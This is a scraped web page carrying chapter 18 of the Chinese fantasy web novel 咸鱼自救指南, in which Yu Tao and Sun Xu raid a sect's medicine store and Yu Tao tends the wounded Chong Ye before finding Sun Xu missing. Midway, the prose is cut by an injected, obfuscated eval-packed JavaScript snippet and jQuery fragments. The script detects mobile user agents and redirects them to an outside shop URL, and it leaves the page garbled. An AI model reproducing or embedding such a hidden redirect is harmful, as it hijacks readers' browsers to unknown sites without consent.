文趣网 > 其他小说 > 咸鱼自救指南 > 18. 这闷葫芦生得挺好看的
    三更天,月黑风高夜。

    虞桃刚从思过崖下来,嘴里还叼着半块烙饼。

    在思过崖简单帮重烨清理了伤口,又把自己那床半旧的棉被给他盖上了,如今思过崖那破石洞里,铺的盖的都比她的屋子还要齐全。

    “主人,捕妖珠这事就这么简单的了了?”

    寂无的声音在识海响起,带着担忧。

    虞桃缓缓叹口气,嘴里含着东西,面上的表情难看的很。

    “事已至此,人都死了,还有什么可查的。”

    虽然嘴上那么说,心里却仍然堵得慌。

    赵成义因恨走上歧途,也因恨而死,终究遂了他自己的心愿。

    只是活生生的两条人命就这么没了,还要因为子母符连个全尸都落不下,想到此处,她嚼饼的力道都重了几分。

    她囫囵将炊饼咽下去,拍了拍手上碎屑,猫着腰钻进药房后面的草丛。

    伸出手扒开周围那些杂乱的杂草,露出一个不大不小的洞。

    虞桃望着面前的狗洞,竟有几分窃喜:“好在前几年和孙絮挖了这洞。”

    “为了偷药更方便吧。”寂无毫不留情拆穿道。

    这话倒也没错。

    这狗洞是年少贪玩时和孙絮凿出来的,后面就变了味了,一个趁机捣乱一个偷药炼丹,两个人能玩到一起不是没原因的。

    说起来,孙絮那些炼丹的野路子,有一半都是在药房实操起来的,日常除了采药就是半夜来这偷摸炼丹。

    “不说这个了。”虞桃尴尬得连忙往里钻。

    这几年,她是吃胖了还是长个了?这狗洞与之前不同,现在对她来说稍微有些窄,肩膀摩擦着岩壁,废了九牛二虎之力才把上半身挤进去。

    刚抬起头,就看见蹲在墙角的孙絮。

    一身夜行衣,蒙着层黑色面罩,只露出半张脸来,双麻花辫耷拉下来。

    “你怎么才来?”孙絮压低声音埋怨道,“我蹲得腿都麻了。”

    她缓缓站起身,双手抱臂,盯着面前慢慢蠕动进来的虞桃,眼睛弯弯,小声笑道:“你不会卡住了吧?”

    虞桃看着她站着说话不腰疼的样,恨得牙痒痒,连忙朝她招手。

    “还不快来帮我!”

    孙絮眼看她是真的卡住了,连忙收了笑,上前两步抓住虞桃的手腕,脚蹬着墙根往后拽。

    “你...是不是又吃胖了?”孙絮憋红了脸,使出吃奶的劲儿。

    “胡说!我这叫结实!”虞桃咬牙反驳,肩膀终于蹭过了最窄的地方,整个人扑通一声摔进药房后院的草堆里,带起一小片尘土。

    孙絮被她连带着一屁股坐在地上,两个人面面相觑,同时“噗嗤”笑出声。

    “行了,别笑了,干正事。”孙絮率先爬起来,拍了拍屁股上的草屑,从腰间解下两个早就备好的空包袱,丢给虞桃一个。

    虞桃接过包袱,跟在孙絮身后。

    “药房这个点没人值守,值夜的张老头睡得比猪还沉。”

    孙絮熟门熟路地摸到药房后门,从袖中抽出一根细贴片,在锁眼里捣鼓两下,门便无声无息地开了。

    满屋药香扑面而来,月光将那些瓶瓶罐罐照得泛着幽幽的冷光,虞桃深深吸了口气,差点被这药香呛着。

    “还愣在干嘛?动手啊。”孙絮已经走到药柜前,回头冲她招手。

    虞桃暗笑道:“一到这时候,就数她最积极了。”

    两人手脚麻利,金疮药、止血散、生肌膏,是药都拿上几瓶,不过片刻便将两个包袱塞得满满当当。

    虞桃看见续骨丹时,拿药的手停顿片刻。

    “寂无,如今打通任督二脉后,靠续骨丹能稳固煞气吗?”她手缓缓摸向耳后。

    手指触碰那朵黑莲的瞬间,一阵刺痛传来。

    见此,虞桃深深叹口气,本想安稳度日,如今业火印重现,就算打通任督二脉,这印不除不出几年,便要归还给天地。

    现在要么就是找到琉璃镜,解除这烦人的印记,要么就是杀上九重天,向天帝那小人,拿回邪骨。

    “如今您是凡胎,不再是煞主,靠这等次品丹药当然...不能稳固煞气。”寂无回答道。

    听到这话虞桃可不管,又往怀里多塞了两瓶续骨丹。

    “那就当个心里安慰吧。”

    她冲孙絮使了个眼神:“分头撤,我翻墙,你钻洞,我先去思过崖,你在山脚下等我。”

    孙絮点头,两人各自散去。

    虞桃翻墙落地时,包袱沉甸甸地坠在背上,药瓶碰撞出细碎的声响。

    她在墙根下蹲了片刻,确认四周无人,才猫着腰往思过崖的方向摸去。

    风灌进领口,冷得她缩了缩脖子,脚步却不敢停。

    怀里那两瓶续骨丹硌得她胸口发疼,可她心里记挂的却是重烨身上那些深可见骨的伤。

    方才在思过崖给他换药时,那人的眉头即便在昏迷中也是紧锁着的,额上冷汗一层层往外渗,偏偏一声不吭。

    “死要面子活受罪。”虞桃小声嘀咕了一句,脚下更快了几分。

    思过崖的石洞里,烛火已经快燃尽了,微弱的光摇摇晃晃地映在石壁上。

    重烨依旧躺在那里,面色苍白如纸,呼吸却比先前平稳了些。

    原先脸上的血都被虞桃擦拭干净了,这是虞桃第一次也是万煞之主第一次伺候人。

    虞桃小嘴嘟嘟囔囔的,嘴上嫌弃,但动作骗不了人。

    她缓缓蹲下身,伸手探了探他的额头,确认没有发烧,才松了口气。

    从包袱里翻出止血散和金疮药,就着残烛的微光,仔仔细细地替他重新上药。

    每涂一次,生怕他疼似的,还边吹边轻轻抚摸。

    看见那些被锁链勒出的淤痕已经泛出青紫色,和背上那道鞭伤交叠在一起,真是触目惊心。

    “闷葫芦,为何执意不说出捕妖珠的真相?”虞桃的声音很轻,带着她自己都没察觉到的恼意,“你倒好,非憋在心里不说,还要用天雷来自证清白,嫌命长是不是?”

    虞桃深吸一口气,愤愤不平道:“若是我,谁敢污蔑,我就掀了他的老巢!”

    重烨自然是不会回答她的。

    “你本就没犯错,为何不说出来,为自己辩解?”她用手支撑着脑袋,双眼眨巴眨巴地看着他的侧脸。

    眉骨上那道伤疤,长长一道直到眉尾,平时里他总是板着一张脸,如今有了这道疤痕,更显得冷峻疏离,带着几分让人不敢靠

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641392|205420||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    近的威严。

    虞桃的视线从眉头缓缓往下落。

    重烨的睫毛很长,在眼下投了一小片阴影,随着微弱的呼吸微微颤着。

    他的鼻梁高挺,唇色却几乎没有任何血色,脸上就是肉太少了,显得整个人没有精神气。

    虞桃看着看着,忍不住伸出一根手指,支撑着他嘴角,小心翼翼地往上抬。

    她看着重烨那张脸,忍不住小声嘟囔句:“这闷葫芦要不是整天板着一张臭脸,其实生得还挺好看的...”

    看得正出神,冷不丁手上一紧。

    重烨的手不知何时抓向了她的手,毫无力道就像是搭在上面一样,但却握住的。

    虞桃吓了一跳,连忙收回手,但很快反应过来,重烨的眉头不自觉的紧皱着,这才松一口气。

    这人怕是做噩梦了。

    她没挣脱开他的手,反而把另一只手覆上去轻轻拍了拍,细声细语地说:“好了好了,我不吵你了。”

    不知过了多久,重烨的手才松开,她才得以从放松。

    虞桃给他掖了掖被角,把剩下的药一一摆放好,放在石洞角落一块干燥的石板上,又用手绢盖了一层,防着露水渗进来。

    做完这些,她才直起腰,捶了捶酸胀的后背。

    外头天色依旧沉沉,估摸着离天亮还有个把时辰。

    “主人,不回去歇会儿?”寂无的声音适时响起。

    虞桃拖着沉重的双腿,往自己的住处走去,打了个哈欠,正要点头,忽然觉得哪里不对。

    她转头看向药房的方向,皱起了眉。

    “孙絮呢?”

    她和孙絮约好的,在山脚下等她。

    可从药房出来到现在,她在思过崖待了少说有两刻钟,按理说孙絮钻洞近,应该比她先到才对。

    “不会卡洞里了吧?”虞桃自言自语,又觉得不对。

    那狗洞她卡得住,孙絮那小身板断不至于,都瘦成竹竿了。

    难道这人又折返回去了?那也太贪了,不至于。

    她将已经空了的包袱随手一卷,塞进怀里,快步往东边孙絮的药房的方向走去。

    刚才的药房是储存药物和炼丹用的,属于内门弟子的,全门派最大的药房。

    而孙絮的东边药房,用与外门弟子,采药晒药的。

    孙絮的屋子黑着灯,门虚掩着,虞桃推门进去,里头空无一人。

    床铺整整齐齐,没有被睡过的痕迹。

    桌上放着半盏早已凉透的茶,旁边是一本翻到一半的药草图谱,页面已经卷了边,是孙絮翻来覆去看了好几年的那一本。

    “这丫头,跑哪去了?”

    虞桃心里隐隐有些不安,但转念一想,孙絮那性子向来跳脱,兴许是半路又拐去别处找什么稀奇药材了,以前也不是没干过这种事。

    她一边想着,一边往自己的屋子走,打算先回去眯一会儿,等天亮了再去找人。

    然而她刚从东边药房出来,外头就传来一阵急促的脚步声。

    “小絮!小絮!”

    是刘伯的声音,苍老又沙哑的嗓音带着几分慌张。

    虞桃脚下一顿,往孙絮的屋子里缩了缩,循声望去。

    这是出什么事了?